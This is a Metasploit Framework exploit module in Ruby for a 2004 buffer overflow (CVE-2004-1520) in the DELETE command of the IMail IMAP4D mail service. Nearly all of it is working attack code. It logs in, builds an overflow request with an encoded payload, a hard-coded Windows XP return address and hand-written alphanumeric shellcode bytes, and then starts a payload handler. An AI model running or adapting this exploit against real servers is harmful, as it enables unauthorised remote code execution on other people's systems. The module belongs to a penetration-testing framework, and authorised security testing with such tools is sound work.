## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Imap def initialize(info = {}) super(update_info(info, 'Name' => 'IMail IMAP4D Delete Overflow', 'Description' => %q{ This module exploits a buffer overflow in the 'DELETE' command of the the IMail IMAP4D service. This vulnerability can only be exploited with a valid username and password. This flaw was patched in version 8.14. }, 'Author' => [ 'spoonm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2004-1520'], [ 'OSVDB', '11838'], [ 'BID', '11675'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 614, 'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric), 'StackAdjustment' => -3500, 'EncoderOptions' => { 'BufferRegister' => 'EDX', } }, 'Platform' => 'win', 'Targets' => [ # alphanum rets :(, will look more into it later ['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }], ], 'DisclosureDate' => 'Nov 12 2004', 'DefaultTarget' => 0)) end def exploit connect_login print_status("Sending overflow string...") req = 'A683 DELETE ' req << payload.encoded # Jump over code req << "\x74\x32\x75\x30" req << [target.ret].pack('V') req << rand_text_alphanumeric(44) # GetEIP code req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59" req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59" # Alphanumeric jmp back (edx context) req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41" req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50" req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57" req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a" # Run off the stack, so we don't kill our payload, or something... req << rand_text_alphanumeric(600) # Terminate the request req << "\r\n" sock.put(req) handler disconnect end end